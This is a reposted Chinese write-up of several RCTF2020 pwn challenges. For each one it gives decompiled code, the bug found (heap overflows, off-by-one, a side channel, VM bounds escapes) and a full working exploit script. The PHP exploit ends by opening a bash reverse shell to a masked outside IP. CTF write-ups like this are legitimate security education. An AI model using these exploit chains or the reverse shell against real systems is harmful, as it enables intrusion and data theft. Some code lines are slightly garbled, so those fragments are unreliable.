php非法指令,RCTF2020部分PWN题解

转载

shuqing he 于 2021-03-26 00:46:58 发布 156 收藏
文章标签： php非法指令

前言

上周肝了两天RCTF，最近闲下来好好做了下其中的几道题，这里写一下它们的题解

note

程序逻辑

很典型的菜单题，bss处有个全局变量被设置为0x996，在New的时候会比较0x359 * sz和global_money前者小于等于后者方可进行calloc分配，这里很明显可以通过0x10000000000000000/0x359+1进行绕过，当然，因为这个size过大，calloc分配失败会返回0，但是这里并不影响将这个sz<<6写入global_money_list[i]，在Sell的时候让global_money加回global_money_list[i]，即可将其改写成一个非常大的数字，足以我们分配常规大小的堆块。

```
.data:0000000000004010 global_money dq 996h ; DATA XREF: New+C↑r

__int64 __usercall New@(__int64 a1@)

{

signed int idx; // [rsp-1Ch] [rbp-1Ch]

__int64 sz; // [rsp-18h] [rbp-18h]

__int64 chunk_addr; // [rsp-10h] [rbp-10h]

__int64 v5; // [rsp-8h] [rbp-8h]

__asm { endbr64 }

v5 = a1;

printf_0("Your money: %lldn");

printf_0("Index: ");

idx = read_int1((__int64)&v5);

if ( idx > 13 || *((_QWORD *)&global_chunk_lis + 3 * idx) )

return puts_0();

printf_0("Size: ");

sz = read_int1((__int64)&v5);

if ( 0x359 * sz > (unsigned __int64)global_money )

return puts_0();
```

```
*((_QWORD *)&global_sz_list + 3 * idx) = sz;
global_money_lis[3 * idx] = sz << 6;
global_money -= 0x359 * sz;
chunk_addr = calloc_0(1LL, sz);
if ( chunk_addr )
*((_QWORD *)&global_chunk_lis + 3 * idx) = chunk_addr;
return puts_0();
}
//
_QWORD *__usercall Sell@(__int64 a1@)
{
_QWORD *result; // rax
signed int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
printf_0("Index: ");
v2 = read_int1((__int64)&v3);
if ( v2 > 13 )
return (_QWORD *)puts_0();
free_0();
global_money += global_money_lis[3 * v2];
*((_QWORD *)&global_chunk_lis + 3 * v2) = 0LL;
*((_QWORD *)&global_sz_list + 3 * v2) = 0LL;
result = global_money_lis;
global_money_lis[3 * v2] = 0LL;
return result;
}
```

继续看，这里main函数的判断判断了上界不超过7，可以发现这里选项6和7有两个后门。通过后门6可以构造chunk overlapping，选项7可以溢出写0x20字节，进而可以覆写下一个堆块的size和fd(如果是空闲堆块)，可以利用它进行UAF。

```
__int64 BackDoor_6()
```

```
{
__int64 v1; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
if ( qword_4060 )
return puts_0();
if ( (unsigned __int64)global_money <= 0x996856 )
{
puts_0();
exit_0(0LL);
}
global_money -= 0x996857LL;
qword_4068 = 0x60LL;
qword_4070 = 0x996857LL;
qword_4060 = malloc_0(0x50LL);
puts_0();
read_chunk((__int64)&v1, qword_4060, 0x60); // 可以改下一块chunk的size
return puts_0();
}
//
__int64 __usercall BackDoor_7@(__int64 a1@)
{
__int64 result; // rax
int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
puts_0();
if ( dword_4018 != 1 )
return puts_0();
--dword_4018;
printf_0("Index: ");
```

```
result = read_int1((__int64)&v3);
v2 = result;
if ( (signed int)result <= 12 )
{
result = *((_QWORD *)&global_chunk_lis + 3 * (signed int)result);// UAF
if ( result )
{
puts_0();
result = read_0(0LL, *((_QWORD *)&global_chunk_lis + 3 * v2), *((_QWORD *)&global_sz_list + 3 * v2) + 0x20LL);
}
}
return result;
}
```

漏洞分析

题目的libc环境是2.29，我们先通过之前提到的New+Sell将global_money改大，进而任意堆块分配，注意calloc是不走tcache的，我们通过后门6构造chunk overlapping，然后泄露libc，进而构造fast bin的UAF(需要提前释放7个0x70的堆块)，从而可以分配到__malloc_hook-0x23，使用realloc调节栈帧即可使用one_gadget

exp.py

```
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
context.terminal = ['tmux','split','-h']
```

```
debug = 1
elf = ELF('./note')
libc_offset = 0x3c4b20
gadgets = [0xe237f,0xe2383,0xe2386,0x106ef8,0x106f04]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./note')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def Add(idx,size):
p.recvuntil('Choice: ')
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
def Show(idx):
p.recvuntil('Choice: ')
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('Choice: ')
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(idx))
def Edit(idx,msg):
p.recvuntil('Choice: ')
p.sendline('4')
p.recvuntil("Index: ")
```

```
p.sendline(str(idx))
p.recvuntil("Message:")
p.send(msg)
def BackDoor_6(name):
p.recvuntil('Choice: ')
p.sendline('6')
p.recvuntil("Give a super name: ")
p.send(name)
def BackDoor_7(idx,msg):
p.recvuntil('Choice: ')
p.sendline('7')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Message:")
p.send(msg)
def exp():
#make money huge num
Add(0,0x10000000000000000/0x359+1)
Delete(0)
#now we can rand calloc
#leak libc
Add(0,0x50)
Add(1,0x368)
Add(2,0x68)
Add(3,0x68)
for i in range(7):
Add(4+i,0x68)
Delete(0)
BackDoor_6('a'*0x50+p64(0)+p64(0x70*2+0x370+1))
for i in range(7):
Delete(4+i)
```

```
Delete(3)

Delete(1)

Add(1,0x368)

Show(2)

libc_base = u64(p.recvn(8).strip('n').ljust(8,'x00')) - 96 - libc.sym['__malloc_hook'] - 0x10

log.success("libc base => " + hex(libc_base))

libc.address = libc_base

Add(3,0xd0)

Edit(3,'a'*0x60+p64(0)+p64(0x71)+p64(libc.sym['__malloc_hook']-0x23)+'n')

Add(0,0x60)

Add(4,0x60)

shell_addr = libc_base + gadgets[3]

print hex(shell_addr)

realloc = libc.sym['realloc']

payload = 'a'*(0x13-8)

payload += p64(shell_addr)

payload += p64(realloc+8)

Edit(4,payload+'n')

#gdb.attach(p,'b*0x0000555555554000+0x15e0')

Add(5,0x1)

#Delete(4)

p.interactive()

exp()
```

bf

程序逻辑

题目开了seccomp只能orw读flag。

这题模拟了branfuck解释器，用户输入的code会通过string的allocator，当输入code长度小于0x10时，会分配到栈上，大于的话就相当于调用malloc分配到堆上，此外还有一个stack供用户输入输出，其内存空间为固定大小0x400，根据反编译的结果可以看到stack后面紧挨着code的地址。

bf的代码可能直接看比较抽象，这里模拟了一下C语言的代码，写代码映射一下就好。

在代码中指针的加减操作均有界限检查，其中stack_ptr上限为code_adddr，下界为stack_base，但是这里在指针自增运算的检查中不够严谨，导致我们可以写到code_addr的最后一字节，从而改变了code的地址，可以将其改动0xff，这里code_addr和返回地址之间差值小于0x40，因此有机会改到返回地址从而布置rop进行orw。

```
/*
字符命令 等价的C语言
> ++ptr
< --ptr
+ ++(*ptr)
- --(*ptr)
. putchar(*ptr)
, *ptr = getchar()
[ while (*ptr) {
] }
*/
ptr = (char *)ptr + 1;
if ( ptr > &input_buf ) // off-bby-one
{
puts("invalid operation!");
exit(-1);
}
```

漏洞利用

这里我们利用off-by-one改动code_addr的低字节，改到返回地址处，从而在输出code的时候带出__libc_start_main+231，进而泄露Libc。注意我们需要将指针自增0x400，运用[]的循环操作输入+[>+],.，类似于下面代码，因为stack被初始化清空为0x400个空字节，因而可以循环0x400次，最终加到code_addr改其为返回地址。

```
++(*ptr);
while(*ptr){
++ptr;
++(*ptr);
}
*ptr = getchar();
putchar(*ptr);
```

之后我们通过二次输入布置rop到返回地址处(因为此时code地址被改到了返回地址)，同时通过上面的方式还原code_addr，否则析构函数会报错，从而orw读取flag。

exp.py

环境为2.27，我看到官方的wp里还泄露了初始code地址，我这里爆破了一下，多试几次就好。

```
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bf')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./bf')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def exp():
#leak libc
p.recvuntil("enter your code:")
payload = '+[>+],.'
#gdb.attach(p,'b* 0x555555554000+0x1d2b')
p.sendline(payload)
raw_input()
p.send("x68")
```

```
p.recvuntil("done! your code: ")
libc_base = u64(p.recvline().strip('n').ljust(8,'x00')) - 231 - libc.sym['__libc_start_main']
log.success("libc base => " + hex(libc_base))
#make rops
p_rdi = libc_base + 0x000000000002155f
p_rsi = libc_base + 0x0000000000023e6a
p_rdx = libc_base + 0x0000000000001b96
p_rax = libc_base + 0x00000000000439c8
syscall = libc_base + 0x00000000000d2975
flag_addr = libc_base + libc.sym['__malloc_hook'] + 0x200
rops = flat([
#read flag into libc
p_rdi,0,
p_rsi,flag_addr,
p_rdx,0x8,
p_rax,0,
syscall,
#open
p_rdi,flag_addr,
p_rsi,0,
p_rdx,0,
p_rax,2,
syscall,
#read
p_rdi,3,
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,0,
syscall,
#write
p_rdi,1,
```

```
p_rsi,flag_addr+0x20,
p_rdx,0x20,
p_rax,1,
syscall
])
p.recvuntil("want to continue?")
payload = 'y'+rops
payload += '+[>+],.'
p.sendline(payload)
raw_input()
p.send("x30")
p.recvuntil("want to continue?")
p.send("n./flag")
p.interactive()
exp()
```

no_write

程序逻辑

类似于pwnable.tw的一道de-aslr，不过这题开了seccomp限制只能open/read，需要进行侧信道攻击。

程序很简单，一个栈溢出。

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]
init();
read_n(&v4, 0x100);
return 0;
}
```

漏洞利用

原型题的de-aslr预期解其实和本题并不相同，在提交的writeup中有一种很巧妙的方法，是通过一个汇编截断，得到一个有趣的gadget，在我们可控rbp和rbx的时候可以通过此方法实现任意地址的增加。

```
gdb-peda$ x/8i 0x4005e8
0x4005e8 <__do_global_dtors_aux>: add DWORD PTR [rbp-0x3d],ebx
```

0x4005eb <__do_global_dtors_aux>: nop DWORD PTR [rax+rax*1+0x0]

0x4005f0 <__do_global_dtors_aux>: repz ret

在原题中，是通过栈迁移到bss处然后调用gets在bss上留下libc地址再通过增加偏移得到任意Libc地址。这里我们没有gets，使用__libc_start_main调用readn也可以在bss上留下libc地址，我们通过此方法得到__strncmp_sse42函数地址，这里很神奇的是我们使用strncmp侧信道比较返回值并非字符差值，而是这个函数地址，只有直接调用它才能进行侧信道比较，这里我写了个测试demo进行测试，发现原来strncmp经过延迟绑定后放入got表的并非strncmp地址，而是__strncmp_sse42的地址，这一点也直接导致我们比赛时功亏一篑。

在可以进行任意libc获得之后我们使用这种方式获得open地址，打开flag，读到bss上，再使用add的gadget得到__strncmp_sse42进行单字节比较，比较之后使用add得到syscall地址，当字符命中时eax=0，故调用read等待用户输入，否则会调用一个非法系统调用EOFError，通过这种方式即可判断出是否得到了正确字符。

//gcc ./test.c -g -O0 -o test

#include

#include

#include

int main()

{

char* s = "123";

char buf[0x100];

gets(buf);

if(!strncmp(s,buf,strlen(s)))

puts("test demo");

return 0;

}

gdb-peda$ got

/home/wz/Desktop/CTF/RCTF2020/no_write/test: file format elf64-x86-64

DYNAMIC RELOCATION RECORDS

OFFSET TYPE VALUE

0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__

0000000000601018 R_X86_64_JUMP_SLOT strncmp@GLIBC_2.2.5

0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5

0000000000601028 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5

0000000000601030 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4

0000000000601038 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5

0000000000601040 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5

gdb-peda$ x/8gx 0x0000000000601018

0x601018: 0x00007ffff7b52a90 0x0000000000400516

0x601028: 0x00007ffff7a98720 0x0000000000400536

0x601038: 0x00007ffff7a2d740 0x00007ffff7a7bd80

0x601048: 0x0000000000000000 0x0000000000000000

gdb-peda$ x/8gx 0x00007ffff7b52a90

0x7ffff7b52a90 <__strncmp_sse42>: 0x000fbb840fd28548 0xbd840f01fa834800

0x7ffff7b52aa0 <__strncmp_sse42>: 0xf189d3894900000f 0x83483fe18348f889

0x7ffff7b52ab0 <__strncmp_sse42>: 0x83497730f9833fe0 0x0f6f0ff3447730f8

0x7ffff7b52ac0 <__strncmp_sse42>: 0xc0ef0f66166f0ff3 0xca740f66c1740f66

gdb-peda$ p & strcmp

$3 = (*) 0x7ffff7a96cd0

gdb-peda$ p & strncmp

$4 = (*) 0x7ffff7a98b20

gdb-peda$

exp.py

在2.23环境下写完才发现是2.27的Libc，这题跟libc关系不大，这里的exp只改一下地址偏移即可适用于2.27

```
#coding=utf-8
from pwn import *
import string
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')
```

```
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./no_write')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
chr_set = "{}_"+string.ascii_letters+string.digits
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./no_write')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
csu_end_addr = 0x40076a
csu_front_addr = 0x400750
main_addr = 0x4006e8
ret_addr = 0x00000000004004be
leave = 0x000000000040067c
#add DWORD PTR [rbp-0x3d],ebx;nop DWORD PTR [rax+rax*1+0x0];repz ret
add = 0x4005e8
libc_start_main = 0x400544
p_rdi = 0x0000000000400773
p_rbp = 0x0000000000400588
p_rsp_r3 = 0x000000000040076d
p_rbp_r4 = 0x000000000040076b
readn = 0x4006bf
p_rbx_rbp_p_4 = csu_end_addr
p_rsi_r15 = 0x0000000000400771
def csu(rbx, rbp, r12, r13, r14, r15, fake_rbp, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
```

```
# r12 should be the function we want to call
# rdi=edi=r13d
# rsi=r14
# rdx=r15
payload = ''
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x10
payload += p64(fake_rbp)
payload += 'a' * 0x20
payload += p64(last)
return payload
def exp(real_flag):
#leak libc
read_plt = elf.plt['read']
read_got = elf.got['read']
bss = elf.bss()+0x300
payload = 'a'*0x18
payload += csu(0,1,read_got,0,bss-(0x378-0x2d0),0x300,bss,leave)
sleep(0.1)
p.send(payload)
payload = p64(bss)
payload += p64(0)*4
payload += p64(leave)
payload = payload.ljust((0x378-0x2d0),'x00')
payload += p64(bss+0x300)
payload += p64(p_rdi)+p64(readn)+p64(libc_start_main)
#payload += csu(0,1,read_got,0,bss+0x300,0x100,bss+0x300,main_addr)
sleep(0.1)
#raw_input()
p.send(payload)
```

```
#leave sth on bss

#get read

off_open_target = -0x230

payload =
p64(p_rbx_rbp_p_4)+p64(off_open_target,sign="signed")+p64(0x6012c8+0x3d)+p64(0)*4+p64(add)

open_addr = 0x6012c8

flag_addr = bss+0x300

payload += csu(0,1,read_got,0,bss+0x300,0x300,bss+0x300,leave)

sleep(0.1)

#raw_input()

p.send(payload)

#open

payload = "./flagx00x00"+csu(0,1,open_addr,flag_addr,0,0,bss+0x300,ret_addr)

#read

payload += csu(0,1,read_got,3,bss+0x700,0x20,bss+0x300,ret_addr)

payload += csu(0,1,read_got,0,bss+0x500,0x200,bss+0x500,leave)

sleep(0.1)

#raw_input()

p.send(payload)

#gdb.attach(p,'b* 0x400759')

off_strncmp_open = 0x7ffff7b52a90 - 0x7ffff7b04030

off_syscall_strncmp = -0x8971b

#make strncmp

payload =
p64(bss+0x300)+p64(p_rbx_rbp_p_4)+p64(off_strncmp_open,sign="signed")+p64(open_addr+0x3d)+p64(0)*4

#strncmp

res = bss+0x700

payload += csu(0,1,read_got,0,res+0x100,0x20,bss+0x500,ret_addr)

payload += csu(0,1,open_addr,res,res+0x100,len(real_flag),bss+0x500,ret_addr)

#recover syscall

payload +=
p64(p_rbx_rbp_p_4)+p64(off_syscall_strncmp,sign="signed")+p64(open_addr+0x3d)+p64(0)*4+p64(add)
```

```
payload += p64(p_rdi)+p64(0)+p64(p_rsi_r15)+p64(bss+0x200)*2+p64(p_rbp)+p64(open_addr-8)+p64(leave)
sleep(0.1)
#raw_input()
p.send(payload)
sleep(0.1)
#raw_input()
p.send(real_flag)
my_flag = ""
i = 0
while True:
try:
exp(my_flag+chr_set[i])
p.recvline(timeout=0.2)
#p.interactive()
my_flag = my_flag + chr_set[i]
print my_flag
i = 0
p.close()
except EOFError:
i += 1
p.close()
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./no_write')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
```

easy_vm

程序逻辑 && 漏洞分析

是一道典型的VM题目，子进程关闭了0/1/2，另外seccomp限制了不能输出，但是这里的seccomp只是针对子进程，父进程会输出子进程的结束码，我们可以借此进行数据泄露。

我们输入的操作码会在实际run之前进行合法性检查，这点很像bpf的模式，注意检查里当发现输入是0xff时会直接退出，不检查后面的输入，每当检查出一组操作，就会让操作码数量count++。这里的count也是后面run的轮次。

实现的VM操作指令有很多，像mov/xor/|/add/sub/divide/mul等，因为太多就不一一举例了，这里的问题在于choice=12没有进行检查，可以让我们将操作码取址的位置向后偏移至多0xff(当然也可以多搞几组可以增加偏移)，假设我们给一组payload = 0xn + 12 + valid_code + 0xff + invalid_code，则可以在check阶段得到合法指令的count，0xff后的指令没有检查，故可以用执行非法指令count组。这样基本所有指令都可以越界了。

```
else if ( choice < 13 ) // choice==12

{

chunk_addr += (unsigned __int8)ReturnValOfArg(chunk_addr + 1) + 2;

}
```

我们先使用越界写指令将data_chunk的size部分改小，free之后让它进入unsorted bin，再分配可以让堆上留libc地址，再通过偏移减去得到libc基址，放入堆上的模拟寄存器中，即可在没有泄露libc地址的情况下实现任意libc地址写，同样的，因为我们的node_addr里有堆地址，也可以实现任意堆地址写。这里我们使用mov指令改__free_hook为setcontext+53，在堆上布置srop的frame，从而进行栈迁移，到堆上执行rop，rop的内容为读取flag，并单字节作为exit的状态码返回，从而在父进程单字节得到flag。

exp.py

每条指令都加了注释，方便理解(vm指令太多懒得一条条写了)

```
#coding=utf-8

from pwn import *

r = lambda p:p.recv()

rl = lambda p:p.recvline()

ru = lambda p,x:p.recvuntil(x)

rn = lambda p,x:p.recvn(x)

rud = lambda p,x:p.recvuntil(x,drop=True)

s = lambda p,x:p.send(x)

sl = lambda p,x:p.sendline(x)

sla = lambda p,x,y:p.sendlineafter(x,y)

sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='info')

context.terminal = ['tmux','split','-h']

debug = 1

elf = ELF('./vm')

libc_offset = 0x3c4b20
```

```
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vm')
else:
libc = ELF('./x64_libc.so.6')
p = remote('f.buuoj.cn',20173)
def SetReg(offset,val):
idx = offset / 8
payload = p8(4)+p8(1)+p8(idx)+p64(val)
return payload
def SetRegLibcHeap(offset,val,base_reg=2):
p = SetReg(offset,val)
p += p8(0)+p8(0)+p8(offset/8)+p8(base_reg)
return p
def exp(idx):
#leak libc
p.recvuntil("give me your code: ")
payload = p8(0x0c)+p8(0xfc)
payload += p32(0)*62
payload += p32(0xffffffff)
#overwrite the heap's size and free it
#payload += p8(4)+p8(1)+p8(11)+p64(0x00000fffffffff)
#mov data_chunk's size to rsp
#reg[8] = data_chunk+8
payload += p8(1)+p8(1)+p8(8)+p64(0x808)
#reg[0] = 0x711
payload += p8(4)+p8(0x1)+p8(0)+p64(0x421)
#*reg[8] = reg[0]
payload += p8(4)+p8(0x20)+p8(8)+p8(0)
#reg[8] = data_chunk+0x410
```

```
payload += p8(0)+p8(1)+p8(8)+p64(0x8+0x418)
#reg[1] = 0x3f1
payload += p8(4)+p8(1)+p8(1)+p64(0x3f1)
#*reg[8] = 0x3f1
payload += p8(4)+p8(0x20)+p8(8)+p8(1)
#free data_chunk
payload += p8(13)+p64(0x410)
#reg[8] = data_chunk
payload += p8(1)+p8(1)+p8(8)+p64(0x96f0-0x92e0)
#reg[9] = data_chunk_addr
payload += p8(1)+p8(1)+p8(9)+p64(0x00005555557596f0-0x5555557582a0)
payload += p8(0x4)+p8(0x10)+p8(2)+p8(9)
#now we have libc addr
#reg[2] = main_arena+96
off_free_hook_arena = libc.sym['__free_hook'] + 8 - 96 - 0x10 - libc.sym['__malloc_hook']
#reg[2] = __free_hook
payload += p8(0)+p8(1)+p8(2)+p64(off_free_hook_arena)
#reg[3] = main_arena+96
payload += p8(4)+p8(0x10)+p8(3)+p8(9)
#reg[3] = setcontext+53
off_main_arena_setcontext = libc.sym['__malloc_hook'] + 0x10 + 96 - libc.sym['setcontext'] - 53
#reg[3] = setcontext+53
payload += p8(1)+p8(1)+p8(3)+p64(off_main_arena_setcontext)
#_rsp = free_hook
payload += p8(4)+p8(8)+p8(8)+p8(2)
#[free_hook] = setcontext+53
payload += p8(0xa)+p8(0)+p8(3)
#set rops in heap
#reg[2] = libc_base
payload += p8(1)+p8(1)+p8(2)+p64(libc.sym['__free_hook']+8)
#recover heap
```

```
payload += p8(0)+p8(1)+p8(9)+p64(0x3d0)
#set rops
#set rdi = flag_addr
payload += p8(0)+p8(1)+p8(0xa)+p64(0x1100-0x108)
#mov flag_addr to +0x68
payload += p8(4)+p8(8)+p8(0x68/8)+p8(0xa)
add_rsp_0x10_p = 0x000000000003f24d
#0x000000000003f24d : add rsp, 0x10 ; pop rbx ; ret
#set rip = below
payload += SetReg(0xa8,add_rsp_0x10_p)
payload += p8(0)+p8(0)+p8(0xa8/8)+p8(2)
#set rsp = sth
payload += p8(1)*2+p8(0xa)+p64(0x1100-0x108-0x90)
payload += p8(4)+p8(8)+p8(0xa0/8)+p8(0xa)
#set rsi = 0
payload += SetReg(0x70,0)
#set other rops
p_rdi = 0x000000000002155f
p_rsi = 0x0000000000023e6a
p_rdx = 0x0000000000001b96
p_rax = 0x00000000000439c8
syscall = 0x00000000000d2975
leave = 0x0000000000054803
p_rsp = 0x0000000000003960
start_offset = 0x118
mov_rdi_gadget = 0x00000000000520e9
#0x00000000000520e9 : mov rdi, qword ptr [rdi + 0x68] ; xor eax, eax ; ret
rops = [
p_rax,2,
syscall,
p_rdi,0,
```

```
p_rsi,libc.sym['__malloc_hook']+0x100,
p_rdx,0x20,
p_rax,0,
syscall,
p_rdi,libc.sym['__malloc_hook']+0x100+idx-0x68,
mov_rdi_gadget,
libc.sym['exit']
]
for i in range(len(rops)):
if rops[i] <= 60:
base_reg = 4
else:
base_reg = 2
payload += SetRegLibcHeap(start_offset+8*i,rops[i],base_reg)
#free
payload += p8(13)+p64(0x410)
payload = payload.ljust(0xff8,'x00')
payload += "./flagx00x00"
#gdb.attach(p,'b* 0x555555554000+0x1a2a')
p.send(payload)
p.recvuntil("Exit code: ")
flag = int(p.recvline().strip('n'),16)
#p.interactive()
return chr(flag)
#exp()
idx = 0
flag = ""
for idx in range(0x20):
flag += exp(idx)
log.success(flag)
if debug:
```

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./vm')

else:

libc = ELF('./x64_libc.so.6')

p = remote('f.buuoj.cn',20173)

best_php

程序逻辑

这道题目是和队里师傅fdt一起做的，web部分我不清楚，看大佬发的wp大概意思是可以任意文件读并且执行php函数，得到了远程libc为2.27，以及php的版本，DE1CTF的时候和Sndav大佬做了一道栈类型的php-pwn，套路都差不多，给一个扩展库的.so文件，是非常典型的堆菜单题，有alloc/free/edit/show。其中edit里的strcpy可以off-by-null，另外有个后门，只要我们覆写__realloc_hook，就可以去执行任意命令。

```
void __cdecl zif_ttt_edit(zend_execute_data *execute_data, zval *return_value)

{

char *content; // [rsp+20h] [rbp-10h]

unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);

content = 0LL;

if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "sl", &content) )

{

php_printf("Edit Argument Error.n");

return_value->u1.type_info = 1;

}

else if ( my_ext_globals.notes[0] )

{

strcpy(my_ext_globals.notes[0], content); // off-by-null

}

else

{

php_printf("idx: %d, ptr:%p");

php_printf("Index Errorn");

return_value->u1.type_info = 1;

}
```

```
}
//
void __cdecl zif_ttt_backdoor(zend_execute_data *execute_data, zval *return_value)
{
void *(*volatile v2)(void *, size_t, const void *); // rdx
__int64 noteidx; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "l", &noteidx) )
{
php_printf("ARGS ERROR.n");
return_value->u1.type_info = 1;
}
else
{
v2 = _realloc_hook;
if ( v2 == (void *(*volatile )(void *, size_t, const void *))'tinwpttt' )// tttpwnit
{
php_printf("get shell %d.n");
system(my_ext_globals.notes[noteidx]);
}
}
}
```

漏洞利用

首先得搭建本地的调试环境，远程应该是apache起的php，我本地无法完全模拟，只能用目标版本的php进行近似模拟。这里我参考的是WEBPWN入门级调试讲解，原文作者讲的很详细，在把扩展库文件放到指定目录并修改配置文件后就可以加载这个库了，直接gdb php，因为有符号所以直接用函数名下断点就好，set args ./pwn.php设置输入文件。

利用方面，我们使用strcpy的off-by-null构造chunk overlapping，泄露libc，然后UAF分配到__realloc_hook写。

这里有一些需要注意的地方，edit因为只能使用strcpy我们在覆写fd之后需要几次strcpy来还原chunk的size部分。此外考虑到远程的条件更为复杂，我们先将用到的堆块进行多次分配使用完毕堆中的空闲堆块，使得堆布置成我们理想的状态。分配堆块使用的是calloc，我们不能选择太大的堆块，否则会破坏realloc_hook后面不远处的main_arena+88处的top_chunk，可能引起崩溃，但是堆块太小似乎又有可能被其他进程迅速拿走(这里不确定)，我们选择尽量大一点的来进行UAF。

exp.php

```
function rev_hex($input) {
$e = strlen($input) - 2;
$r = '';
while ($e >= 0) {
$r .= $input[$e] . $input[$e+1];
$e -= 2;
}
return $r;
}
for($i=0;$i<8;$i++){
ttt_alloc(0,0x3f0);
ttt_alloc(1,0x3f0);
ttt_alloc(2,0x70);
ttt_alloc(3,0x80);
ttt_alloc(4,0x300);
}
$data=str_repeat("a",0x400);
unset($data);
//$data1=str_repeat("a",0x3e8);
$data1=str_repeat("a",0x88);
//get shell
//0x7ffff5fe9c28:realloc_hook
for($i=0;$i<8;$i++){
ttt_alloc($i,0x3f0);
}
ttt_alloc(8,0x78);
ttt_alloc(9,0x88);
ttt_alloc(10,0x3f0);
ttt_alloc(11,0x3f0);
for($i=0;$i<7;$i++){
```

```
ttt_free($i);
}
//start:7
//off-by-one change the prev_in_use
ttt_edit($data1,9);
unset($data1);
$arr=array();
//initial
for($i=0;$i<6;$i++){
$arr[$i]=str_repeat(chr($i+0x30),0x87-$i);
}
for($i=0;$i<6;$i++){
ttt_edit($arr[$i],9);
}
$data2=str_repeat("a",0x80);
$data2.=chr(0x10).chr(0x05);
ttt_edit($data2,9);
ttt_free(7);
ttt_free(9);
ttt_free(10);
//use tcache
for($i=0;$i<8;$i++){
ttt_alloc($i,0x3f0);
}
$addr=ttt_show(8);
var_dump(bin2hex($addr));
$int_addr=hexdec(rev_hex(bin2hex($addr)))-0x80;
var_dump((rev_hex(dechex($int_addr))));
$after_addr=(hex2bin(rev_hex(dechex($int_addr))));
$data3=str_repeat("b",0x80);
$data3.=$after_addr;
```

```
echo $data3;
ttt_alloc(9,0x300);
ttt_edit($data3,9);
//overwrite
for($i=0;$i<6;$i++){
$arr[$i]=str_repeat(chr($i+0x30),0x7f-$i);
}
for($i=0;$i<5;$i++){
ttt_edit($arr[$i],9);
}
ttt_hint();
$data4=str_repeat("b",0x78);
0x7ffff5fe9c28
$data4.=chr(0x91);
ttt_edit($data4,9);
ttt_alloc(13,0x80);
ttt_alloc(14,0x80);
$payload="tttpwnit";
$payload.=$payload;
ttt_edit($payload,14);
$exp="/bin/bash -c 'bash -i >/dev/tcp/*.*.*.*/12345 0>&1'";
ttt_edit($exp,13);
ttt_backdoor(13);
'''
```

参考